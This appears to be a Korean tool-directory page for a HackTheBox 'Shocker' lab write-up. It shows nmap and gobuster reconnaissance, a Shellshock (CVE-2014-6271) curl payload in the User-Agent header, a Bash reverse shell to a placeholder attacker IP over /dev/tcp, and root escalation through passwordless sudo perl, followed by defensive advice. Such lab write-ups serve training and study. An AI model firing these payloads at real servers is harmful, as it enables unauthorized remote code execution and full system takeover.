Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Shocker-TJNULL-OSCP- — HTB 워크스루를 구조화하여 CGI 디렉토리 퍼징을 통한 Shellshock(CVE-2014-6271) 취약점 활용과 잘못 구성된 sudo Perl 권한을 통한 권한 상승(GTFOBins 사용)을 보여줍니다. | Kitploit
도구/GitHubGitHub/r3fr4kt/shocker-tjnull-oscp-
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubr3fr4kt/shocker-tjnull-oscp-

Shocker-TJNULL-OSCP-

HTB 워크스루를 구조화하여 CGI 디렉토리 퍼징을 통한 Shellshock(CVE-2014-6271) 취약점 활용과 잘못 구성된 sudo Perl 권한을 통한 권한 상승(GTFOBins 사용)을 보여줍니다.

2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

HackTheBox: Shocker 분석 보고서

구조화된 전문적인 분석 보고서로, 중요한 Shellshock 취약점을 식별하고 수동으로 악용하는 과정을 보여줍니다. 이후 Linux 대상의 잘못 구성된 sudo 권한을 통해 로컬 권한 상승을 수행합니다.


기술 개요

  • 대상 OS: Linux
  • IP 주소: 10.10.10.56
  • 난이도: 쉬움
  • 핵심 취약점: Shellshock (CVE-2014-6271) 및 잘못 구성된 Sudo 권한 (/usr/bin/perl)
  • 목표: CGI 환경 변수 주입을 통해 초기 사용자 액세스를 획득하고 루트로 권한 상승.

1. 정보 수집 및 정찰

평가(assessment)는 열린 포트만 대상으로 (--open) 하고 호스트 검색 (-Pn) 및 DNS 확인 (-n)을 우회하여 빠르게 풀 포트 TCP SYN 스캔으로 시작하여 발자국(footprinting)을 가속화합니다.

root@kitploit:~
nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

대상 서비스 및 취약점 프로파일링

초기 스캔으로 두 개의 활성 서비스가 드러납니다. 공격적인 버전 탐지 (-sCV) 및 스크립트 기반 취약점 평가를 수행하기 위해 2차 대상 스캔을 실시합니다:

root@kitploit:~
nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

스캔 결과

  • 포트 80: HTTP (Apache 웹 서버)
  • 포트 2222: SSH (비표준 포트)

2. 디렉터리 퍼징 및 웹 정보 수집

취약점 스캔과 동시에, Apache 서버의 숨겨진 리소스를 매핑하기 위해 gobuster를 사용하여 웹 디렉터리 무차별 대입을 시작합니다. SecLists 프레임워크의 표준 워드리스트를 활용합니다:

root@kitploit:~
gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

중요한 발견

퍼징 과정에서 인덱싱되지 않은 /cgi-bin/ 디렉터리가 확인됩니다. 레거시 웹 배포에서 Apache 서버는 CGI(Common Gateway Interface)를 사용하여 서버 측 스크립트를 실행합니다. 머신 이름과 이 폴더의 존재를 고려하여, 환경 변수 주입 결함에 취약할 수 있는 실행 가능한 스크립트(예: .sh, .cgi)를 적극적으로 찾습니다.

추가 정보 수집을 통해 /cgi-bin/ 디렉터리 내에 user.sh라는 스크립트가 있음을 발견합니다.


3. 무기화 및 초기 발판 확보

Shellshock 테스트 (PoC)

Shellshock (CVE-2014-6271) 취약점은 공격자가 취약한 Bash 인스턴스가 처리하는 HTTP 요청 헤더(예: User-Agent) 내에 악의적인 함수 정의를 주입하여 임의의 운영 체제 명령을 실행할 수 있게 합니다.

원격 시스템이 /usr/bin/id 명령을 실행하도록 강제하는 개념 증명(PoC) 페이로드를 보내기 위해 사용자 정의 curl 명령을 작성합니다:

root@kitploit:~
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

  • 결과: 웹 서버가 id 명령의 출력으로 응답하여 **인증 없이 원격 코드 실행(RCE)**이 가능함을 확인합니다.

리버스 셸 설정

실행 벡터를 대화형 세션으로 업그레이드하기 위해 공격 플랫폼에 로컬 Netcat 리스너를 설정합니다:

root@kitploit:~
nc -lvnp 4444

다음으로, TCP를 통한 콜백을 강제하기 위해 악의적인 User-Agent 헤더 내에 기본 Bash 리버스 셸 문자열을 주입합니다:

root@kitploit:~
curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

성공적으로 실행되면 안정적인 낮은 권한의 셸을 획득합니다:

root@kitploit:~
$ whoami
shelly


4. 로컬 권한 상승 (LPE)

시스템에서 기능적인 사용자 컨텍스트를 확보한 후, 로컬 제한 사항을 감사합니다. shelly 사용자가 비밀번호 없이 상승된 권한으로 명령을 실행할 수 있는지 확인하기 위해 sudo 구성을 조회합니다:

root@kitploit:~
sudo -l

Sudo 구성 감사

출력은 다음과 같은 고위험 항목을 드러냅니다:

root@kitploit:~
User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

GTFOBins를 통한 Perl 악용

perl 바이너리를 root로 실행할 수 있는 제한 없고 인증되지 않은 액세스 권한이 있기 때문에 바이너리 제한을 쉽게 벗어날 수 있습니다. GTFOBins를 참조하여 Perl이 실행 ID 컨텍스트(root)를 유지하면서 기본 시스템 셸(/bin/sh)로 빠져나가도록 지시하는 실행 래퍼를 찾습니다:

root@kitploit:~
sudo -u root perl -e 'exec "/bin/sh"'

즉시 완전한 관리 실행 컨텍스트를 달성합니다:

root@kitploit:~
# whoami
root


5. 사후 침투 및 수집

이제 루트 액세스가 확보되었으므로 관련 홈 디렉터리로 이동하여 침해 증거를 검색합니다.

root@kitploit:~
# Access User Flag
cat /home/shelly/user.txt

# Access Root Flag
cat /root/root.txt


핵심 시사점 및 방어 권장 사항

  1. 본질적으로 취약한 소프트웨어 패치: Shellshock은 GNU Bash의 레거시이자 치명적인 취약점입니다. 모든 서버 구성 요소가 기본 유틸리티에 대한 사전 보안 패치를 받도록 하십시오.
  2. CGI 환경 보안: CGI 스크립트를 유지해야 하는 경우, 격리된 샌드박스 실행 모델(예: 특수 컨테이너 런타임 또는 chroot 환경 사용)에서 실행되도록 하고 오래되고 취약한 기본 셸을 사용하지 않도록 하십시오.
  3. 최소 권한 원칙 엄격 적용: 일반 사용자에게 sudo를 통해 perl, python, bash와 같은 강력한 내장 인터프리터를 제한 없이 실행할 수 있는 권한을 부여하면 즉각적인 권한 상승 경로가 발생합니다. Sudo 액세스는 대화형이 아니고 엄격히 통제된 관리 스크립트로 제한되어야 합니다.
root@kitploit:~
도구 다운로드